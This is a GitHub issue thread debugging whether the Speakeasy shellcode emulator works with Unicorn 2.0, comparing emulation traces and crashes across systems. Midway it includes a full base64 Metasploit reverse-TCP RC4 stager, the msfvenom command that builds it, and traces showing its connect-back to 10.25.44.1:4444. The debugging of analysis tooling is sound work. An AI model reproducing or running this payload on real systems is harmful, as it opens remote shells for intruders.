Open Derekt2 opened 1 year ago
i don't believe speakeasy works with Unicorn 2.0. have you found differently? therefore, this update should pin the unicorn version to less than 2.0.
It still work with unicorn >= 2.0
great, then let's also enable CI testing for both versions so we can demonstrate this.
i'm surprised that Speakeasy does not rely upon any Unicorn APIs or behaviors that changed in 2.0
Unless something is changed from pull #216, I don't think it is fully compatible. I can run some tests now anyway and I'll let you know
Just did the same tests, but I have the same behavior (payloads are "standard" Metasploit generated shellcodes)
With 1.0.2
:
>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0
With 2.0.1
:
>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating
The emulation stops after VirtualAlloc
with a Segmentation Fault
Odd, I'm not seeing that same behavior on my system, I haven't run into a difference yet running with unicorn 2+, and was able to emulate without a segfault from VirtualAlloc using what I believe is the same payload?
Are you running this on a M1 @cecio ? Here's my setup:
OS: Ubuntu 20.04 x86_64
unicorn: 2.0.1.post1
speakeasy: latest
payload generated using: msfvenom -p windows/x64/shell/reverse_tcp_rc4 -f raw -o ~/Downloads/out.bin
Very strange. No, I'm not on a M1 btw.
I just retried on a completely different system (VM created on a cloud environment Ubuntu 20.04.1 LTS).
Version: 2.0.1.post1
)speakeasy -r -t ./payload_tcp_rc4_64.bin -a amd64
)VirtualAlloc
)May be I'm doing something wrong...or different from you.
This is the base64 of the payload if you want to try:
/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHB
yQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY
41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0Ac
SQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJ
ieZIgeygAQAASYnlSbwCABFcChksAUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoK
QV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/
znXl6B8BAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAD45tAAAASIPEIF6J9oH2oAWi00yN
ngABAABqQEFZaAAQAABBWEiJ8kgxyUG6WKRT5f/VSI2YAAEAAEmJ31NWUE0xyUmJ8EiJ2kiJ+UG6
AtnIX//VSIPEIIP4AH0oWEFXWWgAQAAAQVhqAFpBugsvDzD/1VdZQbp1bk1h/9VJ/87pIP///0gB
w0gpxnWzSYn+X1lBWUFW6BAAAAA0Kmh+otBTYMlTEHrL6D4IXkgxwEmJ+Kr+wHX7SDHbQQIcAEiJ
woDiDwIcFkGKFABBhhQYQYgUAP7AdeNIMdv+wEECHABBihQAQYYUGEGIFABBAhQYQYoUEEEwEUn/
wUj/yXXbX0H/51hqAFlJx8LwtaJW/9U=
I'm curios about the result.
@Derekt2 I edited my previous comment with new payload to be consistent with previous test. Try this last one in case
no issue with that payload either, and your steps were identical to mine (other than using a virtual machine). Strange we get different results. Curious what results other folks get.
My OS: Windows 10.19041 Python: 3.9.7 Unicorn: 2.0.1.post1
My result: Z:\APIMons\speakeasy>run_speakeasy.py -r -t test.bin -a amd64
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 320, in _exec_next_run run = self.run_queue.pop(0) IndexError: pop from empty list
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "Z:\APIMons\speakeasy\run_speakeasy.py", line 51, in emulate_binary se.run_shellcode(sc_addr, offset=raw_offset or 0) File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 37, in wrap return func(self, *args, **kwargs) File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 274, in run_shellcode return self.emu.run_shellcode(sc_addr, stack_commit=stack_commit, offset=offset) File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 555, in run_shellcode self.start() File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 459, in start run = self.on_run_complete() File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 746, in on_run_complete return self._exec_next_run() File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 322, in _exec_next_run self.on_emu_complete() File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 728, in on_emu_complete dec_ansi, dec_unicode = self.get_mem_strings() File "Z:\APIMons\speakeasy\speakeasy\binemu.py", line 830, in get_mem_strings data = self.mem_read(mmap.get_base(), mmap.get_size()-1) File "Z:\APIMons\speakeasy\speakeasy\memmgr.py", line 251, in mem_read return bytes(self.emu_eng.mem_read(addr, size)) File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 171, in mem_read return self.emu.mem_read(addr, size) File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 579, in mem_read raise UcError(status) unicorn.unicorn.UcError: Invalid argument (UC_ERR_ARG)
I will review, debug and fix temporarily
Speakeasy run well with Unicorn ver < 2.x.x (1.0.2, 1.0.3) With Unicorn ver >= 2.x.x, an unhandled exception will throwed from unicorn.dll Need to continue investigate
Regards, TQN
From my testing, it appears that the CLI works with Unicorn >= 2.0.0 but not from a Python script. Running from a Python script will cause a segmentation fault.
Adding a little more context to my previous comment. I tested this using Unicorn 2.0.1 running in Ubuntu 22.04. It appears that the segfault occurs when running the emulation in the current process rather than a child process. The shellcode used was the sample posted by cecio
. I believe the default behavior when running speakeasy from a python script, is to run in the current process, which would explain the segfault as well.
speakeasy -t dump.bin -r -a x64 --no-mp
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
Segmentation fault (core dumped)
speakeasy -t dump.bin -r -a x64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating
mmmmh... I'm not sure: if you are using the same shellcode, even the second run is not working: you don't see the Segementation Fault, but the execution stops, since you don't see the subsequent call:
0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8